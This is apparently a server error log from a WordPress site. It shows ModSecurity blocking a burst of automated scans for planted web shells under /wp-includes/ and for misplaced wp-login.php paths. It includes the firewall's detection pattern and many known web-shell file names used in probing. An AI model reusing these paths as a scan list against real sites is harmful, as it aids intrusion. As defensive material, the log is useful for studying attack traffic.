[Wed Dec 24 10:45:50.978307 2025] [:error] [pid 54139:tid 54146] [client 104.234.53.225:58947] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aUtT3srYCZenIDzgXuLwGwAAAQU"]
[Wed Dec 24 10:45:52.373433 2025] [:error] [pid 16466:tid 16482] [client 104.234.53.208:43011] [client 104.234.53.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.208, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aUtT4Lu0JcuKJMjJn6y0GAAAAAw"]
[Wed Dec 24 10:45:52.595693 2025] [:error] [pid 16466:tid 16493] [client 104.234.53.208:43011] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aUtT4Lu0JcuKJMjJn6y0GgAAABc"]
[Wed Dec 24 10:46:00.026310 2025] [:error] [pid 54139:tid 54161] [client 63.135.161.75:40783] [client 63.135.161.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aUtT6MrYCZenIDzgXuLwvQAAARQ"]
[Wed Dec 24 10:46:01.415804 2025] [:error] [pid 16550:tid 16555] [client 63.135.161.62:28455] [client 63.135.161.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.62, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aUtT6aYYcdD-LuO7vrBUvwAAAMM"]
[Wed Dec 24 10:46:02.344707 2025] [:error] [pid 16550:tid 16553] [client 63.135.161.62:28455] [client 63.135.161.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aUtT6qYYcdD-LuO7vrBUzAAAAME"]
[Wed Dec 24 10:46:02.995032 2025] [:error] [pid 54139:tid 54146] [client 104.234.53.223:63341] [client 104.234.53.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aUtT6srYCZenIDzgXuLw3wAAAQU"]
[Wed Dec 24 10:46:03.939722 2025] [:error] [pid 54139:tid 54144] [client 63.135.161.51:35117] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aUtT68rYCZenIDzgXuLw7AAAAQM"]
[Wed Dec 24 10:46:05.181689 2025] [:error] [pid 16466:tid 16475] [client 63.135.161.45:57491] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aUtT7bu0JcuKJMjJn6y09wAAAAU"]
[Wed Dec 24 10:46:05.640868 2025] [:error] [pid 16468:tid 16532] [client 63.135.161.56:51901] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aUtT7YdyfuSTFLkCbP8UxQAAAIg"]
[Wed Dec 24 10:46:07.356912 2025] [:error] [pid 54139:tid 54154] [client 63.135.161.70:44189] [client 63.135.161.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aUtT78rYCZenIDzgXuLxEQAAAQ0"]
[Wed Dec 24 10:46:08.084903 2025] [:error] [pid 54139:tid 54152] [client 104.234.53.207:46189] [client 104.234.53.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aUtT8MrYCZenIDzgXuLxIQAAAQs"]
[Wed Dec 24 10:46:09.362456 2025] [:error] [pid 54139:tid 54155] [client 104.234.53.212:54471] [client 104.234.53.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aUtT8crYCZenIDzgXuLxMwAAAQ4"]
[Wed Dec 24 10:46:10.534832 2025] [:error] [pid 54139:tid 54142] [client 63.135.161.57:23535] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aUtT8srYCZenIDzgXuLxTAAAAQE"]
[Wed Dec 24 10:46:11.629660 2025] [:error] [pid 16467:tid 16510] [client 63.135.161.72:29845] [client 63.135.161.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aUtT840TJMcBxX5slgrRBQAAAE0"]
[Wed Dec 24 10:46:13.028162 2025] [:error] [pid 28405:tid 28434] [client 63.135.161.76:57949] [client 63.135.161.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aUtT9cKkTWlhmfdXFqbbEgAAAVg"]
[Wed Dec 24 10:46:15.392065 2025] [:error] [pid 16467:tid 16498] [client 63.135.161.55:31089] [client 63.135.161.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aUtT940TJMcBxX5slgrRRAAAAEE"]
[Wed Dec 24 10:46:15.852784 2025] [:error] [pid 16467:tid 16519] [client 63.135.161.64:35795] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aUtT940TJMcBxX5slgrRTQAAAFY"]
[Wed Dec 24 10:46:16.294536 2025] [:error] [pid 16468:tid 16536] [client 104.234.53.215:64847] [client 104.234.53.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aUtT-IdyfuSTFLkCbP8VYQAAAIw"]
[Wed Dec 24 10:46:16.722702 2025] [:error] [pid 16466:tid 16475] [client 63.135.161.61:64713] [client 63.135.161.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aUtT-Lu0JcuKJMjJn6y1qQAAAAU"]
[Wed Dec 24 10:46:17.506565 2025] [:error] [pid 28405:tid 28434] [client 104.234.53.208:57981] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aUtT-cKkTWlhmfdXFqbbcAAAAVg"]
[Wed Dec 24 10:46:17.996451 2025] [:error] [pid 16467:tid 16510] [client 63.135.161.63:62843] [client 63.135.161.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aUtT-Y0TJMcBxX5slgrRegAAAE0"]
[Wed Dec 24 10:46:19.241901 2025] [:error] [pid 16466:tid 16476] [client 104.234.53.225:57221] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aUtT-7u0JcuKJMjJn6y13gAAAAY"]
[Wed Dec 24 10:46:19.674515 2025] [:error] [pid 54139:tid 54142] [client 63.135.161.75:41779] [client 63.135.161.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aUtT-8rYCZenIDzgXuLxzgAAAQE"]
[Wed Dec 24 10:46:20.123787 2025] [:error] [pid 54139:tid 54160] [client 63.135.161.72:62257] [client 63.135.161.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aUtT_MrYCZenIDzgXuLx0AAAARM"]
[Wed Dec 24 10:46:20.575423 2025] [:error] [pid 16468:tid 16540] [client 63.135.161.67:33011] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aUtT_IdyfuSTFLkCbP8VmAAAAJA"]
[Wed Dec 24 10:46:21.329558 2025] [:error] [pid 28405:tid 28425] [client 63.135.161.60:43133] [client 63.135.161.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aUtT_cKkTWlhmfdXFqbbmwAAAU8"]
[Wed Dec 24 10:46:22.325949 2025] [:error] [pid 16466:tid 16484] [client 63.135.161.56:55365] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aUtT_ru0JcuKJMjJn6y2BAAAAA4"]
[Wed Dec 24 10:46:23.816979 2025] [:error] [pid 28405:tid 28424] [client 63.135.161.67:49285] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aUtT_8KkTWlhmfdXFqbbwQAAAU4"]
[Wed Dec 24 10:46:26.099526 2025] [:error] [pid 16466:tid 16482] [client 63.135.161.53:49271] [client 63.135.161.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aUtUAru0JcuKJMjJn6y2PwAAAAw"]
[Wed Dec 24 10:46:27.346316 2025] [:error] [pid 16467:tid 16507] [client 63.135.161.67:26041] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aUtUA40TJMcBxX5slgrR_wAAAEo"]
[Wed Dec 24 10:46:28.878517 2025] [:error] [pid 16550:tid 16556] [client 104.234.53.207:58399] [client 104.234.53.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aUtUBKYYcdD-LuO7vrBV3wAAAMQ"]
[Wed Dec 24 10:46:30.343489 2025] [:error] [pid 16468:tid 16532] [client 63.135.161.60:37817] [client 63.135.161.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aUtUBodyfuSTFLkCbP8WVAAAAIg"]
[Wed Dec 24 10:46:31.855698 2025] [proxy_fcgi:error] [pid 54139:tid 54150] [client 63.135.161.48:39485] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:46:32.082921 2025] [proxy_fcgi:error] [pid 54139:tid 54143] [client 63.135.161.48:39485] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:46:32.388615 2025] [proxy_fcgi:error] [pid 54139:tid 54157] [client 63.135.161.48:39485] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:46:33.662237 2025] [:error] [pid 54139:tid 54145] [client 63.135.161.48:39485] [client 63.135.161.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aUtUCcrYCZenIDzgXuLyNQAAAQQ"]
[Wed Dec 24 10:46:34.107409 2025] [:error] [pid 16466:tid 16492] [client 63.135.161.72:46221] [client 63.135.161.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aUtUCru0JcuKJMjJn6y2lgAAABY"]
[Wed Dec 24 10:46:34.692490 2025] [:error] [pid 54139:tid 54164] [client 63.135.161.66:62481] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aUtUCsrYCZenIDzgXuLyPQAAARc"]
[Wed Dec 24 10:46:35.205733 2025] [:error] [pid 54139:tid 54145] [client 63.135.161.65:55327] [client 63.135.161.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aUtUC8rYCZenIDzgXuLyQAAAAQQ"]
[Wed Dec 24 10:46:35.746438 2025] [:error] [pid 16468:tid 16544] [client 104.234.53.217:30717] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aUtUC4dyfuSTFLkCbP8WmAAAAJQ"]
[Wed Dec 24 10:46:36.204750 2025] [:error] [pid 16468:tid 16540] [client 63.135.161.73:48881] [client 63.135.161.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aUtUDIdyfuSTFLkCbP8WngAAAJA"]
[Wed Dec 24 10:46:36.981599 2025] [:error] [pid 16467:tid 16497] [client 63.135.161.53:61063] [client 63.135.161.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aUtUDI0TJMcBxX5slgrSfQAAAEA"]
[Wed Dec 24 10:46:37.412593 2025] [:error] [pid 28405:tid 28422] [client 104.234.53.215:28161] [client 104.234.53.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aUtUDcKkTWlhmfdXFqbcVQAAAUw"]
[Wed Dec 24 10:46:37.939697 2025] [:error] [pid 16467:tid 16517] [client 63.135.161.45:56427] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aUtUDY0TJMcBxX5slgrSigAAAFQ"]
[Wed Dec 24 10:46:38.375712 2025] [:error] [pid 16468:tid 16539] [client 104.234.53.217:32359] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aUtUDodyfuSTFLkCbP8WzAAAAI8"]
[Wed Dec 24 10:46:39.422724 2025] [:error] [pid 16550:tid 16568] [client 63.135.161.69:36001] [client 63.135.161.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aUtUD6YYcdD-LuO7vrBWWAAAANA"]
[Wed Dec 24 10:46:40.210524 2025] [:error] [pid 16550:tid 16555] [client 63.135.161.69:24803] [client 63.135.161.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aUtUEKYYcdD-LuO7vrBWXgAAAMM"]
[Wed Dec 24 10:46:41.200679 2025] [:error] [pid 16466:tid 16473] [client 63.135.161.62:60107] [client 63.135.161.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aUtUEbu0JcuKJMjJn6y26QAAAAM"]
[Wed Dec 24 10:46:42.132455 2025] [:error] [pid 16466:tid 16489] [client 104.234.53.218:55179] [client 104.234.53.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aUtUEru0JcuKJMjJn6y2-AAAABM"]
[Wed Dec 24 10:46:43.375785 2025] [:error] [pid 16550:tid 16556] [client 104.234.53.222:41537] [client 104.234.53.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aUtUE6YYcdD-LuO7vrBWgwAAAMQ"]
[Wed Dec 24 10:46:44.801743 2025] [:error] [pid 28405:tid 28413] [client 63.135.161.46:54787] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aUtUFMKkTWlhmfdXFqbcvgAAAUQ"]
[Wed Dec 24 10:46:45.577839 2025] [:error] [pid 28405:tid 28409] [client 63.135.161.71:49793] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aUtUFcKkTWlhmfdXFqbc0QAAAUA"]
[Wed Dec 24 10:46:50.167061 2025] [:error] [pid 28405:tid 28414] [client 63.135.161.67:38883] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aUtUGsKkTWlhmfdXFqbdJwAAAUU"]
